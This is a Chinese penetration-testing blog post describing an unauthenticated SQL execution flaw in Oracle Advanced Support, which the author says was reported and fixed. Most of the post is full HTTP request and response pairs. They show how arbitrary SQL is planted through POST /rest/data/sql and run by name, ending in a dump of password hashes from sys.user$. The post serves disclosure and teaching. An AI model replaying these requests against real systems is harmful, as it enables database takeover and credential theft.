Oracle Advanced Support系统SQL注入漏洞分析
一年多前我在客户的一个外部环境中执行渗透测试，任何外部环境渗透测试的重要步骤之一就是挖掘出可访问的WEB服务。nmap和EveWitness的结合会令这步骤变得更快，因为我们可以进行端口扫描 并且把这些结果以屏幕截图的形式导入到 EyeWitness中。当梳理完 EyeWitness提供的屏幕截图页面后，我发现了一个Oracle 高级支持服务。
虽然我之前从没听过Oracle Advanced Support,但是当我很快的google完之后，我了解到它似乎是一个允许oracle的技术支持在外部登入，并且在oracle系统环境下进行任何技术支持需要的操作的服务。有了这个信息之后， 我们可以将现有的web应用测试与它结合起来。
我们可以对这个应用开始进行一些简单的侦查，包括：
- 寻找已经被爆出的漏洞
- 用burp爬取应用
- 枚举常见的路径
- 查看可获取的页面的源码
幸运的是，我在主页的源码中发现了 一个包含资产目录清单的链接。
对于像这样一个未知的应用，目录列表是很有用的，它给我们了一些希望去发现一些很有趣 但不应该被访问到的东西 。果不其然的在搜寻每个目录之后，我偶然发现了以下的javascript文件：
让它变得更适合阅读一些
在Web渗透测试中，其中一个我喜欢的并且常常忽视的事情是查找应用中的javascript文件， 并且看看他们是否支持任何POST 或者是GET请求。
我们已经发现了一个叫做sql-service.js的javascript文件，这让我立刻在脑海中提高起警觉来。这个文件包含4个匿名函数其中三个t.getJSON方法的GET请求和一个t.post方法的POST请求。这些函数包含如下一些变量：
- getSqlData
- createNamedSql
- getNamedSqlList
- getSqlNameList
在这篇文章的剩余部分，我将提及匿名函数中的变量。
每个函数的根节点都位于/rest/data路径下。
接下来是将他们拆分之后的请求：
- GET /rest/data/sql
- POST /rest/data/sql
- GET /rest/data/sql_list
- GET /rest/data/sql_name_list
有了这些之后，开始拿出我最喜欢的代理工具:burp,看看会发生什么!
直捣黄龙
我首先尝试的是来自于getSqlData函数路径是/rest/data/sql的GET请求。我们也通过观察javascript发现这个请求需要附加一个参数，让我们在结尾加上”test”.
- HTTP Request:
- GET /rest/data/sql/test HTTP/1.1 Host: host Connection: close Accept: application/json;charset=UTF-8 Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Content-Type: application/json Content-Length: 0
- HTTP Response:
- HTTP/1.1 404 Not Found Content-Type: application/json Content-Length: 20 Connection: close Named SQL not found.
当我们把”test”加到请求url的末尾，服务器返回了404。同时服务器也返回了这样一个信息：Named SQL not found。如果我们尝试”test”之外的其他字符串，得到了同样的返回信息。我们把这个请求发到Burp 的 intruder模块，打算试图过一个目录列表字典来枚举潜在的参数名，看看是否能得到除了404之外的返回。但是有一个更简单的方法来找到合适的参数名。如果我们再次查看javascript,你会发现函数的名称给我们一些有价值的信息。我们在以下函数中发现了两个GET请求：getNamedSqlList 和 getSqlNameList.。我们刚才的请求返回的错误信息是 Named SQL not found error。让我们尝试针对getNamedSqlList函数的GET请求。
- HTTP Request:
- GET /rest/data/sql_list HTTP/1.1
- Host: host
- Connection: close
- Accept: application/json;charset=UTF-8
- Accept-Encoding: gzip, deflate, sdch
- Accept-Language: en-US,en;q=0.8
- Content-Type: application/json
- Content-Length: 0
- HTTP Response:
- HTTP/1.1 200 OK
- Content-Type: application/json; charset=UTF-8
- Connection: close
- Content-Length: 243633
- [{"id":1,"name":"sample","sql":"SELECT TIME,CPU_UTILIZATION,MEMORY_UTILIZATION FROM TIME_REPORT where TIME > :time","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":36,"name":"time","type":"date-time","value":null}]},{"id":2,"name":"cpu_only","sql":"SELECT TIME,CPU_UTILIZATION FROM TIME_REPORT","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[]},{"id":3,"name":"simple_param","sql":"SELECT TIME,CPU_USAGE FROM CPU_MONITOR WHERE CPU_USAGE < ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":1,"name":"cpu_usage","type":"int","value":null}]},{"id":4,"name":"double_param","sql":"SELECT TIME,CPU_USAGE FROM CPU_MONITOR WHERE CPU_USAGE between ? and ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":2,"name":"cpu_low","type":"int","value":null},{"id":3,"name":"cpu_high","type":"int","value":null}]},{"id":5,"name":"by_time","sql":"select time, cpu_usage from CPU_MONITOR where time(time) > ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":4,"name":"time","type":"string","value":null}]},{"id":10,"name":"tableTransferMethod","sql":"SELECT result_text, result_value FROM MIG_RPT_TABLE_TRANSFER_METHOD WHERE scenario_id = :scenario_id AND package_run_id = :pkg_run_id AND engagement_id = :engagement_id","dataSourceJNDI":"jdbc/acscloud","privileges":[],"paramList":[{"id":5,"name":"scenario_id","type":"int","value":null},{"id":6,"name":"pkg_run_id","type":"string","value":null},{"id":7,"name":"engagement_id","type":"int","value":null}]},{"id":16,"name":"dataTransferVolumes","sql":"select RESULT_TEXT,\n RESULT_VALUE\nfrom MIG_RPT_DATA_TRANSFER_VOLUME\nwhere scenario_id = :scenario_id\nAND package_run_id = :pkg_run_id\nAND engagement_id = :engagement_id","dataSourceJNDI":"jdbc/acscloud","privileges":[],"paramList":[{"id":8,"name":"scenario_id","type":"int","value":null},{"id":9,"name":"pkg_run_id","type":"string","value":null},{"id":10,"name":"engagement_id","type":"int","value":null}]},{"id":17,"name":"dataCompressionPercentage","sql":"SELECT RESULT_TEXT,\n RESULT_VALUE\nFROM MIG_RPT_DATA_COMPRESSION_PCT\nWHERE scenario_id = :scenario_id\nAND package_run_id = :pkg_run_id\nAND engagement_id =
- …
这的确给了我们不少的信息，让我们仔细分析一下，我们获得了一组json对象，看一下数组中的第一个对象：
- {"id":1,"name":"sample","sql":"SELECT TIME,CPU_UTILIZATION,MEMORY_UTILIZATION FROM TIME_REPORT where TIME > :time","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":36,"name":"time","type":"date-time","value":null}]}
我们发现了以下的属性：name, sql, dataSourceJNDI, privileges, and paramList，其中 sql属性是我最感兴趣的因为它包含了具有字符串值的SQL语句。我们把name的值放进先前尝试的GET请求中。
- HTTP Request:
- GET /rest/data/sql/sample HTTP/1.1
- Host: host
- Connection: close
- Accept: application/json;charset=UTF-8
- Accept-Encoding: gzip, deflate, sdch
- Accept-Language: en-US,en;q=0.8
- Content-Type: application/json;charset=UTF-8
- Content-Length: 0
- HTTP Response:
- HTTP/1.1 400 Bad Request
- Content-Type: application/json
- Content-Length: 44
- Connection: close
- Bad Request.Param value not defined for time
Hey!我们得到一些返回!但是我们少了一个参数，让我们加进来。
- HTTP Request:
- GET /rest/data/sql/sample?time=1 HTTP/1.1
- Host: host
- Connection: close
- Accept: application/json;charset=UTF-8
- Accept-Encoding: gzip, deflate, sdch
- Accept-Language: en-US,en;q=0.8
- Content-Type: application/json;charset=UTF-8
- Content-Length: 0
- HTTP Response:
- HTTP/1.1 200 OK
- Content-Type: application/json; charset=UTF-8
- Content-Length: 2
- Connection: close
虽然没有从服务器获得任何返回，但是也没有返回任何错误!难道是例子中的SQL语句被执行了，只是没有回显?我们可以继续尝试其他的从先前请求中获得的names，但是我们看一下原始的javascript。我们发现有一个叫做createNamedSQL的函数，它是一个POST的请求。我们知道来至于getNamedSqlList 的请求的返回值包含了sql语句的值。也许是这个post请求会允许我们在服务器上 执行sql查询。我们试一下!
SQL Execution
这就是createNamedSQL中在包体里面包含一个空json对象的POST请求：
- HTTP Request:
- POST /rest/data/sql HTTP/1.1
- Host: host
- Connection: close
- Accept: application/json;charset=UTF-8
- Accept-Encoding: gzip, deflate, sdch
- Accept-Language: en-US,en;q=0.8
- Content-Type: application/json
- Content-Length: 0
- {}
- HTTP Response:
- HTTP/1.1 500 Internal Server Error
- Content-Type: text/html
- Content-Length: 71
- Connection: close
- A system error has occurred: Column 'SQL_NAME' cannot be null [X64Q53Q]
我们得到一个关于SQL_NAME列的错误，当我们在包体中包含空的json对象时这不是很意外。现在我们在包体里加入一个随机的属性名和数值。
- HTTP Request:
- POST /rest/data/sql HTTP/1.1
- Host: host
- Connection: close
- Accept-Encoding: gzip, deflate, sdch
- Accept-Language: en-US,en;q=0.8
- Content-Length: 16
- Content-Type: application/json;charset=UTF-8
- {"test":1}
- HTTP Response:
- HTTP/1.1 400 Bad Request
- Content-Type: text/plain
- Content-Length: 365
- Connection: close
- Unrecognized field "test" (class com.oracle.acs.gateway.model.NamedSQL), not marked as ignorable (6 known properties: "privileges", "id", "paramList", "name", "sql", "dataSourceJNDI"])
- at [Source: org.glassfish.jersey.message.internal.EntityInputStream@1c2f9d9d; line: 1, column: 14] (through reference chain: com.oracle.acs.gateway.model.NamedSQL["SQL_NAME"])
再一次不意外的获得了一个关于未知“test”字段的bad request，但是如果你注意的话，这个错误的信息给我们返回了一些有用的属性。感谢 Oracle先生的服务!这些属性也同样出现了从getNamedSqlList发出请求获得的返回中。我使用getNamedSqlList请求的返回中其中的一个值赋给dataSourceJNDI属性。
- HTTP Request:
- POST /rest/data/sql HTTP/1.1
- Host: host
- Connection: close
- Accept-Encoding: gzip, deflate, sdch
- Accept-Language: en-US,en;q=0.8
- Content-Length: 101
- Content-Type: application/json;charset=UTF-8
- {
- "name": "test",
- "sql":"select @@version",
- "dataSourceJNDI":"jdbc/portal"
- }
这看起来是一个很好的测试请求，我们来见证一下 他是否有效。
- HTTP Response:
- HTTP/1.1 500 Internal Server Error
- Content-Type: text/plain
- Content-Length: 200
- Connection: close
- A system error has occurred: MessageBodyWriter not found for media type=text/plain, type=class com.oracle.acs.gateway.model.NamedSQL, genericType=class com.oracle.acs.gateway.model.NamedSQL. [S2VF2VI]
我们仍然从服务器获得了一个错误返回，但是只返回了content-type。SQL语句可能已经被创建了。通过把名称字段设为“test”, 让我们尝试第一个具有参数的GET请求。
- HTTP Request:
- GET /rest/data/sql/test HTTP/1.1
- Host: host
- Connection: close
- Accept: application/json;charset=UTF-8
- Accept-Encoding: gzip, deflate, sdch
- Accept-Language: en-US,en;q=0.8
- Content-Type: application/json;charset=UTF-8
- Content-Length: 0
- HTTP Response:
- HTTP/1.1 200 OK
- Content-Type: application/json; charset=UTF-8
- Content-Length: 24
- Connection: close
- [{"@@version":"5.5.37"}]
看这里!我们获得了一些SQL执行。
看一下“我们”是谁。
- HTTP Request:
- POST /rest/data/sql HTTP/1.1
- Host: host
- Connection: close
- Accept: */*
- Accept-Encoding: gzip, deflate, sdch
- Accept-Language: en-US,en;q=0.8
- Content-Length: 101
- Content-Type: application/json;charset=UTF-8
- {
- "name": "test2",
- "sql":"SELECT USER from dual;",
- "dataSourceJNDI":"jdbc/portal"
- }
- HTTP Request:
- GET /rest/data/sql/test2 HTTP/1.1
- Host: host
- Connection: close
- Accept: application/json;charset=UTF-8
- Accept-Encoding: gzip, deflate, sdch
- Accept-Language: en-US,en;q=0.8
- Content-Type: application/json;charset=UTF-8
- Content-Length: 0
- HTTP Response:
- HTTP/1.1 200 OK
- Content-Type: application/json; charset=UTF-8
- Content-Length: 19
- Connection: close
- [{"USER":"SYSMAN"}]
看起来我们是SYSMAN 用户。通过这个oracal 文档(https://docs.oracle.com/cd/B16351_01/doc/server.102/b14196/users_secure001.htm) 知道，我们就是administrator.
试一下 我们能否抓取出用户的哈希.
- HTTP Request:
- POST /rest/data/sql HTTP/1.1
- Host: host
- Connection: close
- Accept: */*
- Accept-Encoding: gzip, deflate, sdch
- Accept-Language: en-US,en;q=0.8
- Content-Length: 120
- Content-Type: application/json;charset=UTF-8
- {
- "name": "test3",
- "sql":"SELECT name, password FROM sys.user$",
- "dataSourceJNDI":"jdbc/portal"
- }
- HTTP Request:
- GET /rest/data/sql/test3 HTTP/1.1
- Host: host
- Connection: close
- Accept: application/json;charset=UTF-8
- Accept-Encoding: gzip, deflate, sdch
- Accept-Language: en-US,en;q=0.8
- Content-Type: application/json;charset=UTF-8
- Content-Length: 0
- HTTP Response:
- HTTP/1.1 200 OK
- Content-Type: application/json; charset=UTF-8
- Content-Length: 5357
- Connection: close
- [{"NAME":"SYS","PASSWORD":"[REDACTED]"},{"NAME":"PUBLIC","PASSWORD":null},{"NAME":"CONNECT","PASSWORD":null},{"NAME":"RESOURCE","PASSWORD":null},{"NAME":"DBA","PASSWORD":null},{"NAME":"SYSTEM","PASSWORD":"[REDACTED]"},{"NAME":"SELECT_CATALOG_ROLE","PASSWORD":null},{"NAME":"EXECUTE_CATALOG_ROLE","PASSWORD":null}
- …
我们可以获得数据库中的用户密码的哈希值。我编辑和删除了主要的部分。知道了我们是一个具有administrator权限的用户，当然后续我们还可以做很多事情。然而，针对此博客的目的，我停止下来了。
结论
关于这个匿名sql执行我联系了oracle，他们很快的回复并且修复了这个问题。对我而言真正的问题是为什么web服务压根儿就允许sql语句被执行呢?
这个博客最大的收获是一定要看应用中的javascript文件。在多个web应用和外网的渗透测试中，我已经发现了隐藏在javascript文件中sql 注入，命令执行，和 xml实体注入攻击。
作为针对熟练渗透测试者的练习任务，看完这篇博客并且统计多少个你能确定的漏洞。提示：超过三处。
